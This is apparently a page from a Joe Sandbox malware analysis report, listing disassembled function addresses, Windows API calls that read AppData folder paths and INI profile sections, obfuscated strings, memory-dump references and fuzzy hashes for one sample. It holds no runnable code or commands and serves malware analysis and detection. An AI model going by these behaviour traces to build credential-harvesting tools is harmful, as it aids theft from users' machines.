Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectory$FolderPath
String ID: &$aALQ]$aALQ]$d@KUIWWpw$d@KUIWWpw$q$q$q$q$q$q$q$q$qyN\]WGG$q~CEV[]G$~WAS$~WAS
API String ID: 2162323195-2330916816
Opcode ID: d72652061fa0b66a0fda83fd827cf1da5391e6a637de1f4b3d7fc5c733481fd3
Instruction ID: 04c8fdcfe17beee923461ff9b76fdc8ec9aa395aab578f066fced921a8824aa7
Opcode Fuzzy Hash: d72652061fa0b66a0fda83fd827cf1da5391e6a637de1f4b3d7fc5c733481fd3
Instruction Fuzzy Hash: 3862C070D0428CDEDF10DBA8DD55BEEBBB4AF21304F044098E5456B192EBB45F89DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 009D8770 Relevance: 43.3, APIs: 3, Strings: 21, Instructions: 1262COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?), ref: 009D88A3
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009D8947
GetPrivateProfileStringA.KERNEL32(?,}O[X,00000000,?,00000104,?), ref: 009D89F9

Strings

\, xrefs: 009D89FF
FG[Q, xrefs: 009D8D10
KGCU, xrefs: 009D9423
]O[X, xrefs: 009D96BF, 009D96C6
52si, xrefs: 009D9123
X\C, xrefs: 009D95BC
P, xrefs: 009D88DC
cannot use operator[] with a string argument with , xrefs: 009D9A06
}O[X, xrefs: 009D89F4, 009D89F7
#, xrefs: 009D96D4
X^V, xrefs: 009D8969
/, xrefs: 009D8B26
}\@V, xrefs: 009D8960
KGCU, xrefs: 009D948B
q^]_, xrefs: 009D88C7
\, xrefs: 009D8C3B
q^CQ, xrefs: 009D8D00
mf/9, xrefs: 009D910B
W[_Q, xrefs: 009D88CE
u, xrefs: 009D912D
), xrefs: 009D90B6

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionString
String ID: #$)$/$52si$FG[Q$KGCU$KGCU$P$W[_Q$X\C$X^V$\$\$]O[X$cannot use operator[] with a string argument with $mf/9$q^CQ$q^]_$u$}O[X$}\@V
API String ID: 1539182551-533929023
Opcode ID: 509ca5de8de55232fe8513354c466f7f8a0e15e45318d16144a870382a12090e
Instruction ID: ead4866c9966b563672e177ebaeca068a18064b5a34740c4d192a7ec1ad66fbc
Opcode Fuzzy Hash: 509ca5de8de55232fe8513354c466f7f8a0e15e45318d16144a870382a12090e
Instruction Fuzzy Hash: 29C2F170D04259CFDB25DB68CD44BEEBBB4AF55304F1482D9D449AB282EB70AB84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009DB750 Relevance: 43.1, APIs: 4, Strings: 20, Instructions: 1133COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?), ref: 009DB862
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009DB906
GetPrivateProfileStringA.KERNEL32(?,}O[X,00000000,?,00000104,?), ref: 009DB9B9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009DC4EE

Strings

), xrefs: 009DC07C
W[_Q, xrefs: 009DB88D
q^]_, xrefs: 009DB886
\, xrefs: 009DB9BF
X\C, xrefs: 009DC469
X^V, xrefs: 009DB929
q^CQ, xrefs: 009DBCC0
u, xrefs: 009DC0F0
P, xrefs: 009DB89B
/, xrefs: 009DBAE6
\, xrefs: 009DBBFB
mf/9, xrefs: 009DC0CE
FG[Q, xrefs: 009DBCD0
EG\D, xrefs: 009DB7CF
^@J, xrefs: 009DC681
EG\D, xrefs: 009DC678
}O[X, xrefs: 009DB9B4, 009DB9B7
YGBU^@J, xrefs: 009DC53D, 009DC544
52si, xrefs: 009DC0E6
}\@V, xrefs: 009DB920

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: )$/$52si$EG\D$EG\D$FG[Q$P$W[_Q$X\C$X^V$YGBU^@J$\$\$^@J$mf/9$q^CQ$q^]_$u$}O[X$}\@V
API String ID: 2161526218-1358604705
Opcode ID: 787b5a7f3963133e0dc399410a46d26e5a75472a17a6543f6db0c7a717821fdf
Instruction ID: 7168c7d6042454077c11a7c4e0a178ff1f7efbb476f1bd845d9f5332f7c85ff3
Opcode Fuzzy Hash: 787b5a7f3963133e0dc399410a46d26e5a75472a17a6543f6db0c7a717821fdf
Instruction Fuzzy Hash: DDB2D070D04299CBDF25DB68CD44BEDBBB4AF15304F1481D9E449AB282EB70AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009CEB90 Relevance: 42.0, APIs: 1, Strings: 22, Instructions: 1732COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 009CEBF6

Strings

\, xrefs: 009CFA1D
qmzbcw}`, xrefs: 009CEEF8, 009CEEFB
5'-7, xrefs: 009CFBEF
\, xrefs: 009CF2CE
5+-#, xrefs: 009CF986
qmzbcw}`, xrefs: 009CFECB, 009CFEDF
\, xrefs: 009CFCA2
\, xrefs: 009CEFCB
5+-#, xrefs: 009CEF99
n[K4, xrefs: 009CF753
XR[", xrefs: 009CF23F
qmzbcw}`, xrefs: 009CF131, 009CF134
0, xrefs: 009D061C
qmzbcw}`, xrefs: 009D0386, 009D0397
\, xrefs: 009CED97
\, xrefs: 009CF7EB
qmzbcw}`, xrefs: 009D010B, 009D011F
iKIQD^G, xrefs: 009CFF6B, 009CFF9F
XR[", xrefs: 009CFB98
(,$7, xrefs: 009CED6F
5'-7, xrefs: 009CF29F
n[K4, xrefs: 009CED68

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: FolderPath
String ID: (,$7$0$5'-7$5'-7$5+-#$5+-#$XR["$XR["$\$\$\$\$\$\$iKIQD^G$n[K4$n[K4$qmzbcw}`$qmzbcw}`$qmzbcw}`$qmzbcw}`$qmzbcw}`
API String ID: 1514166925-1207211674
Opcode ID: bbdfbb72f68b4e2ca1e36f170a277f9eda83a844e38e622ed574ebd54ad1f4f6
Instruction ID: c24c7cd6bbd3b92aa1df173316827f92f6c044e4c70841a10fe9f707000752c5
Opcode Fuzzy Hash: bbdfbb72f68b4e2ca1e36f170a277f9eda83a844e38e622ed574ebd54ad1f4f6
Instruction Fuzzy Hash: 9A03AA70C00299CBDF25CF68C954BEEBBB5AF55304F1482D9E4496B282EB745B88CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009FA490 Relevance: 38.4, Strings: 30, Instructions: 886
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_^\U, xrefs: 009FAF2C
AN, xrefs: 009FAF3A
^TZX, xrefs: 009FA7EC
[OCET, xrefs: 009FAAB7
q, xrefs: 009FA735
ZL, xrefs: 009FA974
q, xrefs: 009FADB5
q, xrefs: 009FA675
q, xrefs: 009FA895
]O[X, xrefs: 009FB1FA
M, xrefs: 009FA7FA
qj@G, xrefs: 009FAF25
B89, xrefs: 009FB24B
qoZD^TZXY, xrefs: 009FA514
COBU, xrefs: 009FAA61
]O[X, xrefs: 009FB1CA
qj@G_^\UQE, xrefs: 009FAC2D
q, xrefs: 009FAFF2
X\C, xrefs: 009FB182
r, xrefs: 009FA848
X\C, xrefs: 009FB159
ZL, xrefs: 009FB0B8
r, xrefs: 009FAF8C
B?9, xrefs: 009FAB05
[OCET, xrefs: 009FAA91
ql]_FAVFF, xrefs: 009FA4E8
qoZD, xrefs: 009FA7E5
ql]_FAVFF, xrefs: 009FAC5B
q, xrefs: 009FAE75
COBU, xrefs: 009FAA31

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: AN$B89$B?9$COBU$COBU$M$X\C$X\C$ZL$ZL$[OCET$[OCET$]O[X$]O[X$^TZX$_^\U$q$q$q$q$q$q$qj@G$qj@G_^\UQE$ql]_FAVFF$ql]_FAVFF$qoZD$qoZD^TZXY$r$r
API String ID: 1375471231-1763397111
Opcode ID: 05453f787f286d49f62f8585fe25124ccb77af78447a5a44fbe254b237f1b62f
Instruction ID: fb4f12283dd222f9afe9a3a34edf32476f3cccbfc4d2a9f8ea6c1b8a5614fd2d
Opcode Fuzzy Hash: 05453f787f286d49f62f8585fe25124ccb77af78447a5a44fbe254b237f1b62f
Instruction Fuzzy Hash: 74928B70C0429CDEDF25EB64C9957EEBBB4AF25304F4440D8D44A67192EBB41F89CB92

Uniqueness

Uniqueness Score: -1.00%

Function 009D78A0 Relevance: 37.8, APIs: 3, Strings: 18, Instructions: 1023COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009D79A8
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 009D7A51
GetPrivateProfileStringA.KERNEL32(?,}O[X,00000000,?,00000104,?), ref: 009D7B09

Strings

L[[_W[_X, xrefs: 009D85F7, 009D85FA
WG_, xrefs: 009D81E3
!9%!, xrefs: 009D7FD1
TJZ, xrefs: 009D7E20
<::', xrefs: 009D7FC7
}O[X, xrefs: 009D7B04, 009D7B07
b, xrefs: 009D7FDB
\, xrefs: 009D7D4B
COBU, xrefs: 009D8323, 009D832A
, xrefs: 009D86E9
cannot use operator[] with a string argument with , xrefs: 009D86D8, 009D872D
[OCET, xrefs: 009D8424, 009D844C
W[_Q, xrefs: 009D79D3
q^]_, xrefs: 009D79CC
L[[_W[_X, xrefs: 009D793D, 009D7944
\, xrefs: 009D7B0F
P, xrefs: 009D79E1
/, xrefs: 009D7C36

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionString
String ID: $!9%!$/$<::'$COBU$L[[_W[_X$L[[_W[_X$P$TJZ$WG_$W[_Q$[OCET$\$\$b$cannot use operator[] with a string argument with $q^]_$}O[X
API String ID: 1539182551-364152046
